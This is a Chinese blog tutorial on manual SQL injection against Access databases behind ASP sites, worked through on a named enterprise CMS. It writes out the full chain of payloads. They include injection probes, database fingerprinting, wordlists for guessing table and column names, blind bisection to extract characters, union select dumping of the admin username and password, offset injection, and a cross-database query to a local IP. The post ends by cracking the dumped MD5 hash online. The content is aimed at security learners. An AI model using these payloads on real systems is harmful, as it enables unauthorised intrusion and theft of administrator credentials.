• Access数据库注入攻击基本技术


    Access数据库手工注入攻击

    1. Access介绍

    Access数据库是微软旗下的一种简单的数据库,功能没有mysql,sqlserver功能那么强大,一般asp网站用的就是

    Access数据库,一般小公司喜欢用asp网站

    数据库文件默认扩展名为.mdb,但是一般运维人员为了隐藏可能会把后缀名改为asp.微软的office里自带Access组

    件可以打开,文件名就是数据库名,里面会有一堆表

    这里采用凡诺企业网站管理系统为例结合火狐浏览器来一 一注入测试

    2. 判断注入点

    单引号
    and 1=1
    and 1=2
    

    image-20201228173948551

    发现页面有报错,说明存在sql注入点

    3. 判断数据库类型

    user是SQL Server的一个内置变量,它的值是当前连接的用户名,其变量类型为nvarchar字符型。通过提交查询

    该变量,根据返回的出错信息即可得知数据库类型。方法是在注入点之后提交如下语句。

    and user>0

    该查询语句会将user对应的nvarchar型值与int数字型的0进行对比,两个数据类型不一致,因此会返回出错信息。

    image-20201228174435240

    如果出现上图报错信息,说明是sqlserver数据库,但是我们测试的网站并未出现,所以可以判断是Access数据库

    image-20201228174906187

    如果服务器IIS不允许返回错误提示,通常可以通过数据库内置的系统数据表来进行判断。

    在注入点后提交如下查询语句

    and  (select count(*)  from sysobjects)>=0
    and (select count(*)  from msysobjects)>=0
    

    Access存在msysobjects表,不存在sysobjects表,sqlserver存在sysobjects表,不存在msysobjects,可以根据他

    们返回的报错信息判断

    4. 猜测数据库表名和字段名

    4.1 猜表名

    首先来猜解数据库表名,提交以下注入语句,一般我们手动就只猜测常见的表名,暴力破解的工具也是这样做的

    常见表名 : users   admin  administrator  等
    
    # exists() 判断查询结果是否存在,不存在返回false,存在返回true
    and  exists(select * from users) 
    

    image-20201228175843786

    报错说明不存在users表

    and exists(select * from admin)
    

    image-20201228180124297

    还是报错,说明也不存在admin表

    exists(select * from administrator)
    

    image-20201228180252596

    没有报错,说明存在administrator这张表

    4.2 猜字段名

    仍然是熟悉的配方,熟悉的味道,依然是用exists()函数判断

    and exists(select username from administrator)
    

    image-20201228181752427

    很不幸第一次尝试报错,说明administrator表中是没有username这个字段的,继续尝试

    and exists(select user_name from administrator)
    

    image-20201228181942713

    没有报错说明存在user_name这个字段,很nice,不错就用这些开发喜欢用的字段一个一个去尝试,你绝对会有

    意外收获的,再来一发

    and exists(select password from administrator)
    

    image-20201228182319618

    漂亮又中了,有password这个字段,这时想起id字段一般都会有,果然屡试不爽,就不截图展示了

    常见的表名

    a_adminx_adminm_adminadminuseradminstratorarticle_adminmanagemanagermembermembersuserusersadminuserinfouser_infoadmin_userinfologinnewsconfig
    

    常见的字段名

    idpasswordusernameadmin_useridadmin_iduser_passuser_passwordpassyonghu
    

    5. 猜测数据长度和数据内容

    接下来将要介绍一个绝招,这里的绝招不是说是很厉害的招数,而是被逼的只能使用这一招了,虽然这招时间成本

    高,但是准确率极高。

    5.1 猜长度

    这里介绍一种二分法,用科学的方法来减少猜测的次数,二分法就是每次去中间判断,这样会省很多次数

    and (select top 1 len(user_name) from administrator)>0top 1 是查询第一条记录user_name的长度
    

    页面返回正常,说明数据内容长度大于0,我就不一 一截图了

    and (select top 1 len(user_name) from administrator)<10
    

    页面返回正常,说明数据内容长度小于10,下次取5尝试

    and (select top 1 len(user_name) from administrator)>5
    

    页面报错,说明数据内容长度大于0,小于5,下次取3尝试

    and (select top 1 len(user_name) from administrator)>3
    

    页面返回正常,说明数据内容长度大于3,小于5,下次取4尝试

    and (select top 1 len(user_name) from administrator)>4
    

    页面返回正常,说明数据内容长度大于4,小于5,下次取5尝试

    and (select top 1 len(user_name) from administrator)=5
    

    发现页面没有报错,说明后面的条件语句返回的结果为真,即数据的长度为5

    image-20201228183859884

    5.2 猜字符

    通过ascii码对应的10进制数字判断具体的字符

    and (select top 1 asc(mid(user_name,1,1)) from administrator)>0and (select top 1 asc(mid(user_name,1,1)) from administrator)<100
    

    页面返回正常说明第一个字符的ascii码对应的10进制数在0-100,一般数据内容大多是英文字母组成,所以我斗胆

    尝试一下a,a对应的ascii码十进制是97 , mid是截取字符串函数

    and (select top 1 asc(mid(user_name,1,1)) from administrator)=97
    

    image-20201228191412982

    页面返回正常,真的是一发入魂,如果你闲的无聊的话,剩下的字符也就是这样一个一个猜测,但是不到万不得已

    我不推荐,最起码也要半自动化吧

    6. SQL注入中的高级查询

    在上面介绍的ASCII码猜解法很浪费时间,下面介绍一种高效率的方法一一order by与union select联合查询,可以

    快速地获得字段长度及字段内容

    6.1 order by猜测字段数

    同样也是推荐你用二分法这种神奇的算法去测试,一般我们都以0-10作为起始范围,很快啪的一声我就试出来了

    原sql语句查询的字段数为7

    order by 7
    

    image-20201228192500069

    判断数据库查询到的信息在页面上的显示位置

    ?id=9999 union select 1111,2222,33333,4444,5555,6666,77777 from administrator因为access数据库比较特殊 , 在联合查询的时候一定要接表名 , 否则报错
    

    image-20201228193352845

    6.2 获取字段的值

    ?id=9999 union select 1111,user_name,password,4444,5555,6666,77777 from administrator
    

    image-20201228193618732

    然后将得到的密码,用你旁边人的脚指头想一想,是不是很像md5摘要后的,于是你抱着试一试的心态去网上在

    线网站去撞库

    21232f297a57a5a743894a0e4a801fc3
    

    image-20201228193852106

    哎,还真的走了狗屎运撞了出来

    6.3 偏移注入

    偏移注入是针对Access数据库,当我们注入猜到数据库表名确猜不到字段名的情况下,这种方法就可以帮我们填

    补。(注:这种方法运气很重要) 但是一般面试问的很少,了解即可

    ?id=9999 union select 1111,222,333,4444,* from administrator
    

    image-20201228194223413

    6.4 注入跨库查询

    老周说他觉得这个没啥用,工作的时候也没有用到过,他觉得是一个概念型的东西,生产环境,应用场景几乎为0

    假设a和b两个站点在同一服务器上面,但服务器上面安装了安全狗、Waf这样的安全软件,现在我们要对a站点进

    行攻击,但是没发现什么大漏洞,只找到网站数据库路径,对数据库下载发现下载不了。这个时候我发现b站点有

    注入点。

    直接用  http://192.168.1.106:901/news_view.asp?id=14 UNION SELECT  1,adminpassword,username,4,5,6,7 from [C:\wwwtest\2AspCMS\AspCms_data\data.asp].Aspcms_Admins 
    

    image-20201228194423800

  • 相关阅读:
    查依赖的时候发现 ldd: not found 的话,可以用 readelf 喔。
    【rv1126】host Python 没有内置 pip ,所以需要手动调用 get-pip.py 为 Python pip 安装指定包。
    MaixPy3 Linux 通用模块设计
    剑指 Offer 27. 二叉树的镜像
    Pycocotools安装艰辛历程
    性能测试之常见性能指标
    libuv事件循环中的三种句柄
    libuv线程通信
    libuv工作队列
    libuv中实现tcp服务器
  • 原文地址:https://www.cnblogs.com/xcymn/p/15721577.html
Copyright © 2020-2023  润新知